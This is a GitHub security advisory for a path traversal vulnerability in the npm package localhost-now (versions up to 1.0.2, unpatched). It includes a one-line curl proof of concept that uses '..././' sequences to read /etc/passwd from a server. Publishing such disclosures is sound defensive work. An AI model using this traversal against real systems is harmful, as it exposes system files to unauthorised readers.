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Path Traversal in localhost-now

High severity GitHub Reviewed Published Jun 11, 2019 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm localhost-now (npm)

Affected versions

<= 1.0.2

Patched versions

None

Description

All versions of localhost-now are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2

Proof of concept:

$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"

Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.

References

Reviewed Jun 11, 2019
Published to the GitHub Advisory Database Jun 11, 2019
Last updated Jan 9, 2023

Severity

High

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-73cw-jxmm-qpgh

Source code

No known source code
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